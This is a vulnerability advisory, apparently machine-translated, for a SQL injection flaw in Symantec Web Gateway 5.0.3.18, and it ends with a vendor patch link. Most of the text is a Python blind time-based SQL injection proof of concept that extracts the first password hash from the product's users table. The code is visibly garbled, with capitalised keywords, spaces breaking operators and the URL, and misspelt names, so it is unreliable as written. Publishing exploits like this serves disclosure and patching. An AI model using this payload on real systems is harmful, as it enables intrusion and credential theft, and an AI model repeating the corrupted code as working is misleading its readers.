Symantec Web Gateway 'destuploads _ data. php' SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
Symantec Web Gateway 5.0.3.18
Description:
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Bugtraq id: 54721

Symantec Web Gateway is a Symantec Enterprise Web threat protection solution.

Symantec Web Gateway 5.0.3.18 has the SQL injection vulnerability. This vulnerability allows attackers to control applications, access or modify data, and exploit other vulnerabilities in the underlying database.

<* Source: @ _ Kc57
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

@ _ Kc57 () provides the following test methods:

#! /Usr/bin/python
# @ _ Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

Import urllib
Import time
From time import sleep

Timing = '2. 5'
Checks = 0

Def check_char (I, pos ):
Global timimg
Global checks
Checks + = 1
Url = 'https: // www.example.com/spywall/?des/deptuploads_data.php? Groupid = 1 union select 1, 2, IF (% s = conv (mid (select password from users), % s, 1), 16, 10), SLEEP (% s ), null); -- '% (I, pos, timing)
Start = time. time ()
Urllib. urlopen (url)
End = time. time ()
Howlong = end-start
Return howlong

Def check_pos (pos ):

For m in range (0, 16 ):
Output = check_char (m, pos)
Print "[*] Character % s-Took % s seconds" % (hex (m) [2:], output)
If output> 2:
Return hex (m) [2:]

Md5 =''
Start = time. time ()
For y in range (1, 33 ):
Print "Checking position % s" % (y)
Md5 + = check_pos (y)
Print md5
End = time. time ()
Howlong = end-start

Print "1st hash: % s" % (md5)
Print "Found in % s queries" % (checks)
Print "Found in % s" % (howlong)

Suggestion:
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Vendor patch:

Symantec
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The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.symantec.com/business/security_response/